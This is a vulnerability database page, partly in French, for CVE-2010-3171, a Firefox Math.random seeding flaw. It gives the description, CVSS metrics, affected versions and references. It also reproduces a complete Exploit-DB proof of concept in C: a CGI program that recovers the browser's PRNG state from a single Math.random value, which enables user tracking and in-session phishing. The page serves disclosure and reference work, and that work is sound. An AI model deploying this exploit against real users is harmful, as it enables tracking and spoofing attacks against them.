CVE-2010-3171
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Restez informé de toutes modifications pour un CVE spécifique.
Descriptions
The Math.random function in the JavaScript implementation in Mozilla Firefox 3.5.10 through 3.5.11, 3.6.4 through 3.6.8, and 4.0 Beta1 uses a random number generator that is seeded only once per document object, which makes it easier for remote attackers to track a user, or trick a user into acting upon a spoofed pop-up message, by calculating the seed value, related to a "temporary footprint" and an "in-session phishing attack." NOTE: this vulnerability exists because of an incorrect fix for CVE-2008-5913.
Informations
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Category : Cryptographic Issues Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed. |
Metrics
| Metric | Score | Sévérité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 5.8 | AV:N/AC:M/Au:N/C:P/I:P/A:N | [email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 34621
Date de publication : 2010-09-13 22:00 +00:00
Auteur : Amit Klein
EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/43222/info
Mozilla Firefox is prone to a cross-domain information-disclosure vulnerability.
An attacker can exploit this issue by tricking an unsuspecting victim into viewing a page containing malicious content.
Successful exploits will allow attackers to bypass the same-origin policy and obtain potentially sensitive information; other attacks are possible.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
typedef unsigned long long int uint64;
typedef unsigned int uint32;
#define UINT64(x) (x##ULL)
#define a UINT64(0x5DEECE66D)
#define b UINT64(0xB)
uint64 adv(uint64 x)
{
return (a*x+b) & ((UINT64(1)<<48)-1);
}
unsigned int calc(double sample,uint64* state)
{
int v;
uint64 sample_int=sample*((double)(UINT64(1)<<53));
uint32 x1=sample_int>>27;
uint32 x2=sample_int & ((1<<27)-1);
uint32 out;
if ((sample>=1.0) || (sample<0.0))
{
// Error - bad input
return 1;
}
for (v=0;v<(1<<22);v++)
{
*state=adv((((uint64)x1)<<22)|v);
out=((*state)>>(48-27))&((1<<27)-1);
if (out==x2)
{
return 0;
}
}
// Could not find PRNG internal state
return 2;
}
int main(int argc, char* argv[])
{
char body[1000]="";
char head[]="\
<html>\
<body>\
<script>\
document.write('userAgent: '+navigator.userAgent);\
</script>\
<br>\
";
char tail[]="\
<form method='GET' onSubmit='f()'>\
<input type='hidden' name='r'>\
<input id='x' type='submit' name='dummy'\
value='Calculate Firefox 3.6.4-3.6.8 PRNG state'>\
</form>\
<script>\
function f()\
{\
document.forms[0].r.value=Math.random();\
}\
</script>\
</body>\
</html>\
";
char tail2[]="\
</body>\
</html>\
";
double r;
char msg[1000];
int rc;
uint64 state;
strcat(body,head);
if (strstr(getenv("QUERY_STRING"),"r=")!=NULL)
{
sscanf(getenv("QUERY_STRING"),"r=%lf",&r);
rc=calc(r,&state);
if (rc==0)
{
sprintf(msg,"PRNG state (hex): %012llx\n",state);
strcat(body,msg);
}
else
{
sprintf(msg,"Error in calc(): %d\n",rc);
strcat(body,msg);
}
strcat(body,tail2);
}
else
{
strcat(body,tail);
}
printf("Content-Type: text/html\r\n");
printf("Content-Length: %d\r\n",strlen(body));
printf("Cache-Control: no-cache\r\n");
printf("\r\n");
printf("%s",body);
return;
}
Products Mentioned
Configuraton 0
Mozilla>>Firefox >> Version 3.5.10
- Mozilla>>Firefox >> Version 3.5.10 (Open CPE detail)
Mozilla>>Firefox >> Version 3.5.11
- Mozilla>>Firefox >> Version 3.5.11 (Open CPE detail)
Mozilla>>Firefox >> Version 3.6.4
- Mozilla>>Firefox >> Version 3.6.4 (Open CPE detail)
Mozilla>>Firefox >> Version 3.6.6
- Mozilla>>Firefox >> Version 3.6.6 (Open CPE detail)
Mozilla>>Firefox >> Version 3.6.7
- Mozilla>>Firefox >> Version 3.6.7 (Open CPE detail)
Mozilla>>Firefox >> Version 3.6.8
- Mozilla>>Firefox >> Version 3.6.8 (Open CPE detail)
Mozilla>>Firefox >> Version 4.0
- Mozilla>>Firefox >> Version 4.0 (Open CPE detail)
References
http://blogs.sun.com/security/entry/multiple_vulnerabilities_in_mozilla_firefox
Tags : x_refsource_CONFIRM
Tags : x_refsource_CONFIRM
http://www.trusteer.com/sites/default/files/Cross_domain_Math_Random_leakage_in_FF_3.6.4-3.6.8.pdf
Tags : x_refsource_MISC
Tags : x_refsource_MISC
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A7370
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
http://archives.neohapsis.com/archives/bugtraq/2010-09/0117.html
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
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